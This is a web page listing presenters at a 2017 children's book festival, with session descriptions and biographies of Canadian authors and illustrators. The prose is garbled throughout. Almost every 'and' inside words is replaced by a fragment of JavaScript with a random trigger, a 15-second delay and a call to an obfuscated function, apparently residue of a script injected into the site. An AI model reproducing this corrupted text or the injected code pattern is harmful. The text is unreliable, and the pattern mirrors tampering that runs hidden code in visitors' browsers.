2017 Presenters

  • 32 years of BookFest

2017 Presenters

Celestine Aleck

Would you like to hear about the rich Snuneymuxw culture andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} stories? All of our history has been handandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}ed down from generation to generation through storytelling. You will learn about Snuneymuxw territory through many stories.

Celestine Aleck, Sahiltiniye descends from Snuneymuxw First Nations. She has been an artist most of her life which has taught her to learn facts andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} then mix imagination when writing stories. The beauty that surrounds her inspires her to write.

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Scott Chantler

Learn about the process of creating comics with cartoonist Scott Chantler as he reads andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} projects artwork from “The Iron Handandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}“, the seventh andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} final book in his critically-acclaimed Three Thieves series of fantasy adventure graphic novels.

Scott Chantler is the acclaimed creator of the graphic novel TWO GENERALS, which was nominated for two Eisner Awards, named one of Chapters-Indigo’s Best Books of 2010, selected for BEST AMERICAN COMICS 2012, andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} named by the CBC as one of the 40 best Canadian non-fiction books of all time. His other work includes NORTHWEST PASSAGE (nominated for Eisner andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} Harvey Awards) andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} the THREE THIEVES series (winner of the Joe Shuster Award for Best Comic for Kids andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} listed by YALSA as a Great Graphic Novel for Teens).

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Eugenie Fernandandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}es

I will DRAW a story andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} READ a story andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} TELL a NEW story andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} SING a story (maybe). I will draw with my eyes open andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} I will draw with my eyes CLOSED. I’ll draw standandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}ing on my head andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} …oH nO ….just kidding. I can’t standandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} on my head…can you? I’ll bring my bakers clay CREATURES , andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} theN… I’ll show you how to make creatures of your OWN. See you soon !

Eugenie graduated from the School of Visual Arts in New York City in 1965. Her paintings from Earth Magic andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} One Hen: How One Small Loan Made a Big Difference are at the Smithsonian’s National Museum of African Art.

Lee Edward Födi

What does it mean to live a creative life? When Lee Edward Födi thinks of writing, he doesn’t picture sitting at a computer typing words—he thinks of traveling the world, filling his notebook with sketches, andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} building dragon eggs. Join this author andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} illustrator as he shares the joys of finding inspiration in unlikely places. Featured books: The Chronicles of Kendra Kandandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}lestar. Ages 7+

Lee Edward Födi is a children’s author, illustrator, andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} educator—or, as he likes to think of himself, a daydreaming expert. He is the creator of the award-winning Kendra Kandandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}lestar series andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} was the official illustrator for the 2016 Summer Reading Club at your local library. He has taught creativity workshops in Canada, the US, Englandandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}, Korea, andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} Thailandandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}. He loves love to visit exotic places where he can find tombs, mazes, castles, andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} crypts—not to mention tiny places tucked between the cracks of Here andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} There. He lives in Vancouver with his wife andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} unhelpful cat.

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Suzanne de Montigny

Get ready for a toe-tapping experience when Suzanne de Montigny performs French-Canadian andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} Cape Breton tunes on her fiddle, recounting her journey from elementary music teacher to children’s author. Presenting her ever-popular “Shadow of the Unicorn” series, she relates interesting facts about what happened when the Chixulub Asteroid struck the earth millions of years ago, andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} why rhinos andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} elephants are now considered endangered species. But best of all, she tells the story of what happened to the town of Hope when a mysterious fiddler with no past bewitches its people with her mysterious Celtic music.

Suzanne wrote her first unicorn story at the age of twelve. Several years later, she discovered it in an old box in the basement, thus reigniting her love affair with unicorns. Suzanne taught music in Vancouver for many years where she learned she could spin a good tale that kept kids andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} teachers begging for more. She took up writing in earnest ten years ago andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} has never looked back. She lives in Burnaby, B.C. with the loves of her life – her husbandandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}, two boys, andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} Buddy the dog.

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Ruth Ohi

Using samples from her recent books, Ruth shows where ideas can come from, why ‘mistakes’ may make it better, andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} why scribbles can be your best friend. A handandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}s-on segment follows an interactive drawing demo that shows anything can happen with just pencil, paper andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} your imagination!

Ruth lives with her family in Toronto, Canada andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} is a graduate of the Ontario College of Art andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} Design. Ruth’s books have been shortlisted for awards such as the Marilyn Baillie Picture Book, Mr. Christie, Shining Willow, Rainforest of Reading andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} Blue Spruce. 

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Chieri Uegaki

Using Powerpoint andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} props, Chieri will briefly talk about her early years in school as an ESL student andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} how the challenges of being a second-generation Japanese-Canadian enriched her writing. She will also share insider “secrets” about the facts andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} people that inspired her fiction, discuss the picture book process andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} a bit about the illustrator’s craft, andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} will also read from at least one of her picture books.

Chieri Uegaki is a second-generation Japanese-Canadian who was born in Quesnel, British Columbia. By the age of one, she andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} her parents had moved to East Vancouver, where she andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} her two sisters grew up. Suki’s Kimono, illustrated by Stéphane Jorisch, was released in 2003. Chieri enjoyed working on the picture book so much that she decided to continue writing for children. Chieri has also written stories for Chirp andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} chickaDEE magazines as well as for Pearson Education. Hana Hashimoto, Sixth Violin is Chieri’s third picture book. Chieri lives on the Sunshine Coast with her husbandandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} two dogs, Nika andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} Rosie.

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Richard Van Camp

Richard Van Camp is an internationally renowned storyteller with 20 books to his name in all genres. He shares hilarious andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} empowering stories from the Northwest Territories. He writes comics, graphic novels, children’s books, novels, short stories– you name it.

Richard Van Camp is a proud member of the Dogrib (Tlicho) Nation from Fort Smith, NWT, Canada from Fort Smith, NWT. He is a graduate of the En’owkin International School of Writing, the University of Victoria’s Creative Writing BFA Program, andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} the Master’s Degree in Creative Writing at the University of British Columbia.

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Cybèle Young

I lead the audience through a chronological development of my artistic practice, where book-making cross-pollinates with fine art, including sculpture andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} film.I share my non-linear approach of investigating visual cues that allow my subconscious to play with character, dialogue andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} scenarios. I emphasize the significance of experimenting with different mediums along the way, such as sculpture, photography andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} illustration. Thus a book emerges.

Cybèle Young is a renowned artist andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} author, whose work is exhibited andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} collected internationally. She spends her days creating miniature worlds from fine Japanese papers. Since graduating from sculpture andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} printmaking at the Ontario College of Art andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} Design in 1995, Cybèle has been showing her work in galleries around the world, such as New York, LA, Miami, London, Stockholm, Japan, Singapore, Korea andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} across Canada.

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